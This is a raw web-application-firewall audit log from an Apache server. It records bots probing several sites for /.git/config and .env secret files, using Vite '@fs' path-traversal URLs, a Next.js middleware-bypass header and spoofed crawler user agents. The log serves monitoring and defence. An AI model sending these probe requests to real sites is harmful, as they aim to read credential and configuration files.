Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZ4w2M7dE9KgIIOpQh4YwAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZ4w2M7dE9KgIIOpQh4YwAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZ4w2M7dE9KgIIOpQh4YwAAAM0"]
Stopwatch: 1789294787819603 36779 (- - -)
Stopwatch2: 1789294787819603 36779; combined=34488, p1=231, p2=34106, p3=71, p4=32, p5=48, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f4d06265-Z--

--246db72c-A--
[13/Sep/2026:13:47:58.457798 +0300] aqZ-XWM7dE9KgIIOpQh5cwAAAMM 85.208.96.207 42756 127.0.0.1 7081
--246db72c-B--
GET /events/list/?tribe-bar-date=2026-07-02 HTTP/1.1
Host: ajutam.ro
X-Real-IP: 85.208.96.207
X-Accel-Internal: /internal-nginx-static-location
Accept: text/html, application/rss+xml, application/atom+xml, text/xml, text/rss+xml, application/xhtml+xml
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)

--246db72c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link: <https://ajutam.ro/wp-json/>; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--246db72c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:tribe-bar-date=2026-07-02& P: F:||T:APACHE||R:200"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3355, p1=283, p2=3072, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3355, p1=283, p2=3072, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/index.php"] [unique_id "aqZ-XWM7dE9KgIIOpQh5cwAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789296477913733 544140 (- - -)
Stopwatch2: 1789296477913733 544140; combined=8852, p1=283, p2=3072, p3=0, p4=0, p5=5496, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--246db72c-Z--

--410ea143-A--
[13/Sep/2026:13:48:33.749061 +0300] aqZ-gWM7dE9KgIIOpQh5dQAAANE 216.126.237.47 47710 127.0.0.1 7081
--410ea143-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--410ea143-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--410ea143-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZ-gWM7dE9KgIIOpQh5dQAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZ-gWM7dE9KgIIOpQh5dQAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZ-gWM7dE9KgIIOpQh5dQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789296513614068 135055 (- - -)
Stopwatch2: 1789296513614068 135055; combined=34008, p1=783, p2=33145, p3=0, p4=0, p5=79, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--410ea143-Z--

--6589095b-A--
[13/Sep/2026:13:48:57.257659 +0300] aqZ-mUwu1RSkptiiNIX7AQAAAJY 34.80.249.255 36314 127.0.0.1 7081
--6589095b-B--
GET /.env?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6589095b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6589095b-E--

--6589095b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mUwu1RSkptiiNIX7AQAAAJY"]
Stopwatch: 1789296537251785 5926 (- - -)
Stopwatch2: 1789296537251785 5926; combined=4449, p1=248, p2=4079, p3=70, p4=9, p5=43, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6589095b-Z--

--38742364-A--
[13/Sep/2026:13:48:57.269996 +0300] aqZ-mWM7dE9KgIIOpQh5kwAAAME 34.80.249.255 36324 127.0.0.1 7081
--38742364-B--
GET /.env?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--38742364-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--38742364-E--

--38742364-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mWM7dE9KgIIOpQh5kwAAAME"]
Stopwatch: 1789296537265564 4494 (- - -)
Stopwatch2: 1789296537265564 4494; combined=3216, p1=221, p2=2851, p3=76, p4=30, p5=38, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--38742364-Z--

--7891c96a-A--
[13/Sep/2026:13:48:57.619009 +0300] aqZ-mSsVWymXUono-eRV8wAAABM 34.80.249.255 36360 127.0.0.1 7081
--7891c96a-B--
GET /.env?import&url&inline HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7891c96a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7891c96a-E--

--7891c96a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mSsVWymXUono-eRV8wAAABM"]
Stopwatch: 1789296537611344 7749 (- - -)
Stopwatch2: 1789296537611344 7749; combined=6129, p1=305, p2=5667, p3=104, p4=9, p5=44, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7891c96a-Z--

--8eb3f50f-A--
[13/Sep/2026:13:48:57.647282 +0300] aqZ-mUwu1RSkptiiNIX7AgAAAJU 34.80.249.255 36346 127.0.0.1 7081
--8eb3f50f-B--
GET /.env.local?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8eb3f50f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8eb3f50f-E--

--8eb3f50f-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mUwu1RSkptiiNIX7AgAAAJU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mUwu1RSkptiiNIX7AgAAAJU"]
Stopwatch: 1789296537611452 35882 (- - -)
Stopwatch2: 1789296537611452 35882; combined=34254, p1=238, p2=33907, p3=62, p4=6, p5=41, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8eb3f50f-Z--

--c200c21e-A--
[13/Sep/2026:13:48:57.845854 +0300] aqZ-mSsVWymXUono-eRV9AAAAAE 34.80.249.255 36398 127.0.0.1 7081
--c200c21e-B--
GET /.env.local?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c200c21e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c200c21e-E--

--c200c21e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mSsVWymXUono-eRV9AAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mSsVWymXUono-eRV9AAAAAE"]
Stopwatch: 1789296537808586 37337 (- - -)
Stopwatch2: 1789296537808586 37337; combined=35594, p1=332, p2=35079, p3=117, p4=10, p5=56, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c200c21e-Z--

--c7bf321e-A--
[13/Sep/2026:13:48:58.058282 +0300] aqZ-mjTJ6xTvcJoem7f8FgAAAE8 34.80.249.255 36416 127.0.0.1 7081
--c7bf321e-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c7bf321e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c7bf321e-E--

--c7bf321e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env"] [unique_id "aqZ-mjTJ6xTvcJoem7f8FgAAAE8"]
Stopwatch: 1789296538053220 5127 (- - -)
Stopwatch2: 1789296538053220 5127; combined=3847, p1=255, p2=3488, p3=60, p4=6, p5=38, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c7bf321e-Z--

--f23cfa5e-A--
[13/Sep/2026:13:48:58.223195 +0300] aqZ-mkwu1RSkptiiNIX7BAAAAII 34.80.249.255 36420 127.0.0.1 7081
--f23cfa5e-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f23cfa5e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f23cfa5e-E--

--f23cfa5e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ-mkwu1RSkptiiNIX7BAAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ-mkwu1RSkptiiNIX7BAAAAII"]
Stopwatch: 1789296538187825 35422 (- - -)
Stopwatch2: 1789296538187825 35422; combined=34039, p1=290, p2=33635, p3=64, p4=6, p5=44, sr=127, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f23cfa5e-Z--

--6409b82e-A--
[13/Sep/2026:13:48:58.419896 +0300] aqZ-mjTJ6xTvcJoem7f8FwAAAEk 34.80.249.255 36436 127.0.0.1 7081
--6409b82e-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6409b82e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6409b82e-E--

--6409b82e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/src/.env"] [unique_id "aqZ-mjTJ6xTvcJoem7f8FwAAAEk"]
Stopwatch: 1789296538411918 8036 (- - -)
Stopwatch2: 1789296538411918 8036; combined=5618, p1=438, p2=4968, p3=106, p4=12, p5=94, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6409b82e-Z--

--c3637762-A--
[13/Sep/2026:13:48:58.459162 +0300] aqZ-mkwu1RSkptiiNIX7BQAAAIk 34.80.249.255 36438 127.0.0.1 7081
--c3637762-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c3637762-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c3637762-E--

--c3637762-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mkwu1RSkptiiNIX7BQAAAIk"]
Stopwatch: 1789296538452146 7084 (- - -)
Stopwatch2: 1789296538452146 7084; combined=4974, p1=361, p2=4391, p3=142, p4=12, p5=67, sr=153, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c3637762-Z--

--3889490f-A--
[13/Sep/2026:13:48:58.509352 +0300] aqZ-mmM7dE9KgIIOpQh5lwAAANc 34.80.249.255 36460 127.0.0.1 7081
--3889490f-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--3889490f-F--
